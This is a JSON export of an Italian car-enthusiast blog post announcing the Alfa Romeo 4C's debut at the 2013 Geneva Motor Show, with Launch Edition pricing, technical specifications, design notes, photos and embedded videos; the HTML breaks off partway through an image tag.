{"id":1967,"date":"2013-03-06T09:48:56","date_gmt":"2013-03-06T09:48:56","guid":{"rendered":"http:\/\/www.mitoalfaromeo.com\/notizie\/?p=1967"},"modified":"2013-03-08T12:15:51","modified_gmt":"2013-03-08T12:15:51","slug":"anteprima-mondiale-al-salone-di-ginevra-2013-dellalfaromeo-4c","status":"publish","type":"post","link":"https:\/\/www.mitoalfaromeo.com\/notizie\/2013\/03\/06\/anteprima-mondiale-al-salone-di-ginevra-2013-dellalfaromeo-4c\/","title":{"rendered":"Anteprima mondiale al Salone di Ginevra 2013 dell&#8217;AlfaRomeo 4C,tutto su tecnica e filmati ufficiali"},"content":{"rendered":"<figure id=\"attachment_1968\" aria-describedby=\"caption-attachment-1968\" style=\"width: 603px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1968 \" title=\"ar-4c-1\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-1.jpg\" alt=\"AlfaRomeo 4C coup\u00c3\u00a8 2013 - www.mitoalfaromeo.com - \" width=\"603\" height=\"328\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-1.jpg 862w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-1-300x162.jpg 300w\" sizes=\"auto, (max-width: 603px) 100vw, 603px\" \/><\/a><figcaption id=\"caption-attachment-1968\" class=\"wp-caption-text\">AlfaRomeo 4C coup\u00c3\u00a8 2013 &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/aCkkPeVvfWY\" frameborder=\"0\" width=\"560\" height=\"315\"><\/iframe><\/p>\n<p>Al Salone di Ginevra debutta l&#8217;esclusiva &#8216;Launch Edition&#8217; che sar\u00c3\u00a0 prodotta in tiratura limitata e numerata: 400 esemplari in Europa, Africa e Middle East, 500 in Nord America e 100 nel resto del mondo. Dedicata ai tantissimi appassionati sparsi nel mondo, la versione limitata della nuova supercar compatta Alfa Romeo propone caratteristiche esclusive comele finiture in fibra di carbonio o il colore di carrozzeria opaco &#8216;Bianco Carrara&#8217;.La 4C &#8216;Launch Edition&#8217;\u00c3\u00a8 ordinabile da subito ad un prezzo sostanzialmente ugualein Europa di 60.000 euro IVA inclusa (al netto di altre tassazioni locali). Solo per gli acquirenti della 4C &#8216;Launch Edition&#8217;un privilegio unico: poter partecipare ad un evento esclusivo in Italia che prevede anche una sessione di Guida Avanzata con Piloti-Istruttori Professionisti. Monoscocca completamente in fibra di carbonio con tecnologia &#8216;pre-preg&#8217;di derivazione Formula 1adottata solo dalle supercar pi\u00c3\u00b9 avanzate. Nuovo motore interamente in alluminio: 1750 Turbo Benzina da 240CV a iniezione diretta.<\/p>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_1974\" aria-describedby=\"caption-attachment-1974\" style=\"width: 667px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-a.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1974 \" title=\"ar-4c-a\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-a.jpg\" alt=\"AlfaRomeo 4C - www.mitoalfaromeo.com - \" width=\"667\" height=\"329\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-a.jpg 834w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-a-300x147.jpg 300w\" sizes=\"auto, (max-width: 667px) 100vw, 667px\" \/><\/a><figcaption id=\"caption-attachment-1974\" class=\"wp-caption-text\">AlfaRomeo 4C &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong> Cambio a doppia frizione Alfa TCT con shift-paddles al volante e nuovo selettore Alfa D.N.A. con modalit\u00c3\u00a0 aggiuntiva &#8216;Race&#8217;.<br \/>\nOltre 250 km\/h di velocit\u00c3\u00a0 massima e 4,5 secondi di accelerazione da 0 a 100 km\/h.<br \/>\n1,1g di accelerazione laterale massima e 1,25g di decelerazione massima in frenata.<\/strong><\/p>\n<figure id=\"attachment_1969\" aria-describedby=\"caption-attachment-1969\" style=\"width: 613px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1969 \" title=\"ar-4c-2\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-2.jpg\" alt=\"AlfaRomeo 4C coup\u00c3\u00a8 2013 - www.mitoalfaromeo.com - \" width=\"613\" height=\"259\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-2.jpg 876w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-2-300x126.jpg 300w\" sizes=\"auto, (max-width: 613px) 100vw, 613px\" \/><\/a><figcaption id=\"caption-attachment-1969\" class=\"wp-caption-text\">AlfaRomeo 4C coup\u00c3\u00a8 2013 &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p>Il lancio globale dell&#8217;Alfa Romeo 4C segna il ritorno del marchio nel mondo delle coup\u00c3\u00a9 sportive leggere, un evento straordinario atteso con crescente entusiasmo dai tantissimi appassionati sparsi nel mondo. Per loro \u00c3\u00a8 stata realizzatal&#8217;esclusiva &#8216;Launch Edition&#8217;, un&#8217;edizione numerata e limitata a 400 esemplari in Europa con caratteristiche esclusive sviluppate specificatamente per questa versioneunica.<\/p>\n<p><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/ZkF9swhnF-Q\" frameborder=\"0\" width=\"560\" height=\"315\"><\/iframe><\/p>\n<p>Il debutto oggi all&#8217;83esimo Salone Internazionale di Ginevra dove si sono aperti ufficialmente gli ordini della nuova supercar compatta 4C nell&#8217;edizione limitata &#8216;Launch Edition&#8217;ad un prezzo di 60.000 euro nella maggior parte dei mercati Europei (prezzo IVA inclusa al netto di altre tassazioni locali).La &#8216;Launch Edition&#8217; precede l&#8217;avvio della commercializzazione della 4C di serie di qualche mese. Inoltre, solo gli acquirenti della 4C &#8216;Launch Edition&#8217; avranno un privilegio unico: potranno partecipare ad un evento esclusivo che si terr\u00c3\u00a0 in Italia e che prevede anche una sessione di Guida Avanzata con Piloti-Istruttori Professionisti per apprendere a sfruttare al meglio il potenziale dell&#8217;Alfa Romeo 4C in totale sicurezza.<\/p>\n<p>All&#8217;esterno, la nuova &#8216;Launch Edition&#8217; pu\u00c3\u00b2 &#8216;vestire&#8217; due livree &#8211; &#8216;Rosso Alfa&#8217; o l&#8217;esclusivo opaco &#8216;Bianco Carrara&#8217;. Impreziosiscono la linea di questa edizione limitata il kit aerodinamico in carbonio che oltre a esaltare lo stile della vettura ne riduce ulteriormente il peso (include proiettori, spoiler e calotte degli specchi retrovisori esterni), il diffusore posteriore in alluminio con finiture scure, proiettori Bi-Led e i cerchi in lega da 18&#8243; (ruote anteriori) e 19&#8243; (ruote posteriori) con trattamento scuro.<\/p>\n<figure id=\"attachment_1970\" aria-describedby=\"caption-attachment-1970\" style=\"width: 522px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1970 \" title=\"ar-4c-3\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-3.jpg\" alt=\"AlfaRomeo 4C coup\u00c3\u00a8 2013 - www.mitoalfaromeo.com - \" width=\"522\" height=\"226\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-3.jpg 746w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-3-300x129.jpg 300w\" sizes=\"auto, (max-width: 522px) 100vw, 522px\" \/><\/a><figcaption id=\"caption-attachment-1970\" class=\"wp-caption-text\">AlfaRomeo 4C coup\u00c3\u00a8 2013 &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<figure id=\"attachment_1975\" aria-describedby=\"caption-attachment-1975\" style=\"width: 684px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-b.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1975 \" title=\"ar-4c-b\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-b.jpg\" alt=\"AlfaRomeo 4C - www.mitoalfaromeo.com - \" width=\"684\" height=\"363\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-b.jpg 760w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-b-300x159.jpg 300w\" sizes=\"auto, (max-width: 684px) 100vw, 684px\" \/><\/a><figcaption id=\"caption-attachment-1975\" class=\"wp-caption-text\">AlfaRomeo 4C &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<figure id=\"attachment_1977\" aria-describedby=\"caption-attachment-1977\" style=\"width: 675px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-c.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1977 \" title=\"ar-4c-c\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-c.jpg\" alt=\"AlfaRomeo 4C - www.mitoalfaromeo.com - \" width=\"675\" height=\"293\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-c.jpg 750w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-c-300x130.jpg 300w\" sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/a><figcaption id=\"caption-attachment-1977\" class=\"wp-caption-text\">AlfaRomeo 4C &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<figure id=\"attachment_1978\" aria-describedby=\"caption-attachment-1978\" style=\"width: 675px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-d.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1978 \" title=\"ar-4c-d\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-d.jpg\" alt=\"AlfaRomeo 4C - www.mitoalfaromeo.com - \" width=\"675\" height=\"289\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-d.jpg 750w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-d-300x128.jpg 300w\" sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/a><figcaption id=\"caption-attachment-1978\" class=\"wp-caption-text\">AlfaRomeo 4C &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_1979\" aria-describedby=\"caption-attachment-1979\" style=\"width: 675px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-tp.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1979 \" title=\"ar-4c-tp\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-tp.jpg\" alt=\"Trazione Posteriore dell'AlfaRomeo 4C - www.mitoalfaromeo.com - \" width=\"675\" height=\"311\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-tp.jpg 750w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-tp-300x138.jpg 300w\" sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/a><figcaption id=\"caption-attachment-1979\" class=\"wp-caption-text\">Trazione Posteriore dell&#8217;AlfaRomeo 4C &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p>Inoltre, per accentuarne ulteriormente il look sportivo sono previste prese d&#8217;aria frontali, pinze freno di colore specifico, impianto di scarico racing e kit di sospensioni con specifica taratura degli ammortizzatori e barra antirollio posteriore.La stessa impronta stilistica si ritrova all&#8217;interno dove spiccano i sedili sportivi e il volante entrambi in pelle e microfibra con cuciture bianche, oltre al badge distintivo e numerato. Nel caso di livrea rossa l&#8217;Alfa Romeo 4C &#8216;Launch Edition&#8217; presenta le cuciture rosse per il rivestimento di volante, freno a mano, tappetini, maniglie e sedili sportivi.Ovviamente, la nuova Alfa Romeo 4C &#8216;Launch Edition&#8217; offre tutte le caratteristiche vincenti del modello che rappresenta l&#8217;essenza della sportivit\u00c3\u00a0 insita nel &#8216;DNA Alfa Romeo&#8217;: prestazioni ed eccellenza tecnica finalizzata al massimo del piacere di guida in piena sicurezza combinate con uno stile mozzafiato.<\/p>\n<p>La nuova coup\u00c3\u00a9 a &#8220;2 posti secchi&#8221; con trazione posteriore e motore in posizione centrale progettatadall&#8217;Alfa Romeo,\u00c3\u00a8 prodotta nello stabilimento Maserati di Modena che garantisce la massima qualit\u00c3\u00a0 ed una cura dei dettagli ad un livello quasi artigianale.Le prime consegne in Europa sono previste nella seconda met\u00c3\u00a0 di settembre del 2013. L&#8217;alfa Romeo 4C segner\u00c3\u00a0 anche l&#8217;avvio del piano di crescita globale di Alfa Romeo:la versione statunitense verr\u00c3\u00a0 presentata a Los Angeles a novembre del 2013 e le prime consegne sono previste entro la fine dell&#8217;anno. Contemporaneamente all&#8217;introduzione sul mercato nordamericano, la 4C raggiunger\u00c3\u00a0 tutti i principali mercati mondiali. I prezzi in ogni mercato saranno annunciati alla data rispettiva di introduzione e terranno conto dello scenario competitivo.<\/p>\n<p>La disponibilit\u00c3\u00a0 annuale dell&#8217;Alfa Romeo 4C nel suo complesso \u00c3\u00a8 limitata a soli 3.500 esemplari per via dei vincoli legati alle soluzioni tecniche e tecnologiche adottate. Di questi, 1.500 saranno destinati all&#8217;Europa, Middle East e Africa, 1.200 al Nordamerica e 800 al resto del mondo.<\/p>\n<p>L&#8217;Alfa Romeo 4C deriva direttamente dal concept che dest\u00c3\u00b2 grande ammirazione al Salone di Ginevra 2011 tanto da vincere tre prestigiosi premi: &#8216;AutoBild Design Award&#8217; (2011, Germania), &#8216;Design Award for Concept Cars&amp;Prototypes&#8217; (2012, Italia) e &#8216;MostExciting Car of 2013 &#8211; &#8216;What Car?&#8217; (2013, Gran Bretagna).<\/p>\n<p><strong>Sigla 4C<\/strong><\/p>\n<p>La sigla &#8216;4C&#8217; si ispira al passato glorioso del brand proiettando nel futuro i valori di tecnologia ed emozione. Infatti, richiama la grande tradizione sportiva dell&#8217;Alfa Romeo &#8211; le sigle 8C e 6C negli anni Trenta e Quaranta hanno contraddistinto le vetture, da competizione e stradali, equipaggiate con il potente &#8216;otto cilindri&#8217; e l&#8217;innovativo &#8216;sei cilindri&#8217; , confermando nella sua impostazione progettuale e costruttiva l&#8217;obiettivo di un rapporto peso\/potenza da autentica supercar, inferiore a 4 kg\/cv, ma puntando pi\u00c3\u00b9 che alla potenza massima erogata, al contenimento del peso per garantire la massima agilit\u00c3\u00a0 e le migliori prestazioni. L&#8217;Alfa Romeo 4C impiega a tal fine tecnologie e materiali all&#8217;avanguardia derivati da supersportive (tra cui gi\u00c3\u00a0 l&#8217;Alfa Romeo 8C Competizione) &#8211; fibra di carbonio, alluminio, trazione posteriore &#8211; e tecnologie proprie degli ultimi modelli di serie Alfa Romeo ma rinnovate per esaltare ulteriormente la sportivit\u00c3\u00a0 della nuova vettura. Lo dimostrano il nuovo 1750 Turbo Benzina con iniezione diretta interamente in alluminio, il sofisticato cambio automatico a doppia frizione a secco &#8220;Alfa TCT&#8221; e il selettore Alfa D.N.A. con l&#8217;inedita modalit\u00c3\u00a0 Race.<\/p>\n<p><strong>IL FILMATO UFFICIALE DELLA PRESENTAZIONE A GINEVRA 2013 <\/strong><\/p>\n<p><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/8FoPSaCYspI\" frameborder=\"0\" width=\"560\" height=\"315\"><\/iframe><\/p>\n<p><strong>Stile esterno<\/strong><\/p>\n<figure id=\"attachment_1971\" aria-describedby=\"caption-attachment-1971\" style=\"width: 659px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-4.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1971 \" title=\"ar-4c-4\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-4.jpg\" alt=\"AlfaRomeo 4C coup\u00c3\u00a8 2013 - www.mitoalfaromeo.com - \" width=\"659\" height=\"314\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-4.jpg 824w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-4-300x142.jpg 300w\" sizes=\"auto, (max-width: 659px) 100vw, 659px\" \/><\/a><figcaption id=\"caption-attachment-1971\" class=\"wp-caption-text\">AlfaRomeo 4C coup\u00c3\u00a8 2013 &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p>Disegnata dal Centro Stile Alfa Romeo, la 4C richiama immediatamente alcuni modelli iconici della tradizione che hanno lasciato un segno importante nella storia del Marchio. Uno su tutti, per analogie dimensionali e di layout, \u00c3\u00a8 sicuramente la 33 Stradale, una vettura che coniugava le estreme esigenze meccaniche e funzionali ad uno stile essenziale che &#8216;vestiva&#8217; adeguatamente il motore e il telaio con dei trattamenti inconfondibilmente Alfa Romeo.<\/p>\n<p>Anche 4C ripercorre la stessa strada e lo fa a completamento di un percorso iniziato con la 8C Competizione estremizzando alcuni concetti peculiari del marchio come la compattezza, la dinamicit\u00c3\u00a0 e l&#8217;agilit\u00c3\u00a0.<\/p>\n<p>Lo sviluppo degli esterni della 4C \u00c3\u00a8 stato caratterizzato sin dall&#8217;inizio dall&#8217;esigenza di esaltare lo stile della vettura e le caratteristiche tecniche sia dal punto di vista dinamico che aerodinamico; per questa ragione tutte le soluzioni di stile adottate sono state ottimizzate in funzione dell&#8217;obbiettivo ultimo della vettura: le prestazioni.<\/p>\n<p>Il volume posteriore, sinuoso ed avvolgente ricopre ed abbraccia al tempo stesso la parte pulsante della vettura: la parte meccanica e il motore visibile attraverso il lunotto.<\/p>\n<p>Tutto questo, grazie allo sviluppo di un accentuata muscolatura sopra le ruote, conferisce forza e potenza alla parte posteriore.<\/p>\n<p>La muscolatura posteriore regge la sua struttura sui fanali tondi posteriori e sulle prese d&#8217;aria laterali necessarie per il raffreddamento dell&#8217;intercooler e l&#8217;ingresso aria per l&#8217;aspirazione motore.<\/p>\n<p>Da questo volume posteriore carico di energia e dalle due prese d&#8217;aria laterali, trovano origine i due lunghi muscoli che conferiscono velocit\u00c3\u00a0 e dinamismo alla fiancata generando sul frontale il volume necessario per accogliere i proiettori anteriori e sulla parte centrale le due forti nervature che corrono sul cofano disegnando l&#8217;inconfondibile &#8220;V&#8221; e trovando la loro naturale conclusione attorno allo scudetto.<\/p>\n<p>Quest&#8217;ultimo, insieme alle due bocche laterali, forma il noto &#8220;Trilobo&#8221;, parte sostanziale del volto Alfa Romeo.<\/p>\n<p><strong>Design interno<\/strong><\/p>\n<p style=\"text-align: center;\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-f.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1984\" title=\"ar-4c-f\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-f.jpg\" alt=\"\" width=\"660\" height=\"395\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-f.jpg 660w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-f-300x179.jpg 300w\" sizes=\"auto, (max-width: 660px) 100vw, 660px\" \/><\/a><\/p>\n<p>L&#8217;essenzialit\u00c3\u00a0 del design e dei materiali contraddistingue anche gli interni, essendo tutto concepito e finalizzato al massimo coinvolgimento dell&#8217;esperienza di guida.<\/p>\n<p>In particolare, all&#8217;interno spicca immediatamente la fibra di carbonio della cellula centrale, lasciata a vista per esaltare il senso di leggerezza, tecnologia e unicit\u00c3\u00a0 della vettura.<\/p>\n<p>La plancia e i pannelli porte hanno un trattamento &#8220;asfalto&#8221; per richiamare la vocazione dell&#8217;Alfa Romeo 4C, concepita per trasmettere il massimo delle sensazioni di guida dalla strada.<\/p>\n<p>I sediligarantiscono una postura dedicata ad un uso sportivo esaltando il contatto del guidatore con la strada senza per\u00c3\u00b2 penalizzare un sufficiente comfort per l&#8217;utilizzo normale della vettura.<\/p>\n<p>La plancia, semplice ed improntata alla fruizione delle funzioni trova la sua esaltazione nel concetto di &#8220;driver oriented&#8221; estremo grazie ad una strumentazione digitale e ai selettori per il cambio marcia collocati sul volante opportunamente sagomato.<\/p>\n<p>Il cockpit con forti richiami al mondo motociclistico e a quello delle vetture da gara, riunisce tutte le informazioni necessarie alla guida e al controllo della vettura.<\/p>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_1983\" aria-describedby=\"caption-attachment-1983\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-e.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-1983\" title=\"ar-4c-e\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-e.jpg\" alt=\"Selleria Alfa Romeo 4C - 2013 - www.mitoalfaromeo.com - \" width=\"650\" height=\"487\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-e.jpg 650w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-e-300x224.jpg 300w\" sizes=\"auto, (max-width: 650px) 100vw, 650px\" \/><\/a><figcaption id=\"caption-attachment-1983\" class=\"wp-caption-text\">Selleria Alfa Romeo 4C &#8211; 2013 &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p>Le informazioni rese accattivanti da una grafica di forte e diretto impatto visivo permettono al guidatore di tenere tutto sotto controllo senza distrazioni da comandi che risulterebbero superflui su questa tipologia di vettura.<\/p>\n<p>La pedaliera, le pedane d&#8217;appoggio per il guidatore e per il passeggero, il tutto realizzato in alluminio abbigliano la parte bassa sotto plancia esaltando il carattere sportivo sino al minimo dettaglio.<\/p>\n<figure id=\"attachment_1972\" aria-describedby=\"caption-attachment-1972\" style=\"width: 570px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-5.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-1972\" title=\"ar-4c-5\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-5.jpg\" alt=\"Interni AlfaRomeo 4C coup\u00c3\u00a8 2013 - www.mitoalfaromeo.com - \" width=\"570\" height=\"356\" srcset=\"https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-5.jpg 570w, https:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-5-300x187.jpg 300w\" sizes=\"auto, (max-width: 570px) 100vw, 570px\" \/><\/a><figcaption id=\"caption-attachment-1972\" class=\"wp-caption-text\">Interni AlfaRomeo 4C coup\u00c3\u00a8 2013 &#8211; www.mitoalfaromeo.com &#8211;<\/figcaption><\/figure>\n<p><strong>Dimensioni e aerodinamica<\/strong><\/p>\n<p>Le dimensioni compatte rendono unica questa &#8220;2 posti secchi&#8221; nel panorama competitivo: lunga 399 cm, larga 200 cm, alta 118 cm e con un passo di 238 cm. Misure che, da una parte, mettono in risalto le &#8220;proporzioni da supercar&#8221; della vettura, dall&#8217;altra ne accentuano le caratteristiche di agilit\u00c3\u00a0. Inoltre, grazie all&#8217;eccellente lavoro dei progettisti, la vettura raggiunge i massimi livelli di efficienza aerodinamica garantendo un Cz negativo che, come sulle vetture da competizione, contribuisce ad aumentare la stabilit\u00c3\u00a0 alle alte velocit\u00c3\u00a0 grazie alla deportanza aerodinamica.<\/p>\n<p><strong>Nuovo motore 1750 Turbo Benzina da 240 CV a iniezione diretta<\/strong><\/p>\n<p>Il motore \u00c3\u00a8 il &#8220;cuore&#8221; pulsante di un&#8217;Alfa Romeo. In questo caso si tratta del nuovo 4 cilindri 1750 Turbo Benzina a iniezione diretta da 240 CV che \u00c3\u00a8 stato progettato con un obiettivo preciso: garantire prestazioni straordinarie, ma senza rinunciare alla fluidit\u00c3\u00a0 di marcia e alla fruibilit\u00c3\u00a0 in ogni situazione, dalla pista alla guida nel traffico cittadino. Il nuovo propulsore interamente in alluminio dell&#8217;Alfa Romeo 4C \u00c3\u00a8 collocato in posizione centrale e adotta specifici impianti di aspirazione e scarico ottimizzati per esaltare sia la risposta ai bassi regimi sia l&#8217;allungo, favorito dall&#8217;albero motore a otto contrappesi. In pi\u00c3\u00b9 sono presenti soluzioni tecniche all&#8217;avanguardia quali l&#8217;iniezione diretta di benzina, il doppio variatore di fase continuo, sia all&#8217;aspirazione sia allo scarico, il turbocompressore ed un rivoluzionario sistema di controllo definito &#8220;scavenging&#8221; che elimina il &#8220;turbolag&#8221;. L&#8217;erogazione di coppia \u00c3\u00a8 corposa: 350 Nm il valore massimo e l&#8217;80% disponibile gi\u00c3\u00a0 a 1700 giri\/minuto.<\/p>\n<p><strong>Cambio a doppia frizione a secco Alfa TCT<\/strong><\/p>\n<p>Il Turbo Benzina 1750 \u00c3\u00a8 abbinato al cambio a doppia frizione a secco Alfa TCT, vero punto di riferimento della categoria per il peso contenuto e l&#8217;estrema velocit\u00c3\u00a0 di attuazione. Il cambio pu\u00c3\u00b2 essere comandato in modalit\u00c3\u00a0 sequenziale attraverso gli &#8220;shiftpaddles&#8221; posti dietro il volante.Rispetto a quello gi\u00c3\u00a0 adottato dai modelli Giulietta e MiTo, il cambio TCT dell&#8217;Alfa Romeo 4C ha un software di controllo evoluto e propone la nuova funzione &#8216;Launch Control&#8217; che ottimizza tutti sistemi vettura in modo da fornire la massima accelerazione possibile. Inoltre, per assicurare il miglior comportamento a seconda delle condizioni della strada e dello stile di guida, il cambio Alfa TCT adotta logiche di funzionamento ottimizzate interagendo con il selettore Alfa D.N.A., con il sistema frenante, quello del controllo motore e con il controllo di stabilit\u00c3\u00a0 del veicolo. Ad esempio in modalit\u00c3\u00a0 automatica le logiche di cambiata sono differenti in funzione del settaggio impostato con l&#8217;Alfa D.N.A..<\/p>\n<p><strong>Il nuovo selettore Alfa D.N.A. con modalit\u00c3\u00a0 &#8216;Race&#8217;<\/strong><\/p>\n<p>Per l&#8217;Alfa Romeo 4C \u00c3\u00a8 stato appositamente evoluto ilselettore Alfa D.N.A. che ai tre settaggi disponibili sugli altri modelli della gamma &#8211; Dynamic, Natural e AllWeather &#8211; aggiunge una quarta modalit\u00c3\u00a0: &#8216;Race&#8217;, pensata per esaltare ulteriormente l&#8217;esperienza di guida in pista. Per attivarla \u00c3\u00a8 sufficiente una pressione prolungata del selettore sulla posizione Dynamic: in questo modo l&#8217;Alfa D.N.A. esclude i controlli di stabilit\u00c3\u00a0 e antipattinamento lasciando al pilota il pieno e puro controllo della vettura. Infine, in base al settaggio impostato dell&#8217;Alfa D.N.A., il quadro strumenti full digital con display TFT cambia configurazione -mostrando solo le informazioni rilevanti per la modalit\u00c3\u00a0 scelta &#8211; e colore: giallo per Race, rosso per Dynamic, grigio per Natural e blu per AllWeather.<\/p>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_1980\" aria-describedby=\"caption-attachment-1980\" style=\"width: 675px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-1980 \" title=\"ar-4c-carbonio-1\" src=\"http:\/\/www.mitoalfaromeo.com\/notizie\/wp-content\/uploads\/2013\/03\/ar-4c-carbonio-1.jpg\" alt=\"AlfaRomeo 4C - www.mitoalfaromeo.com - \" width=\"675\" height=\"392\" 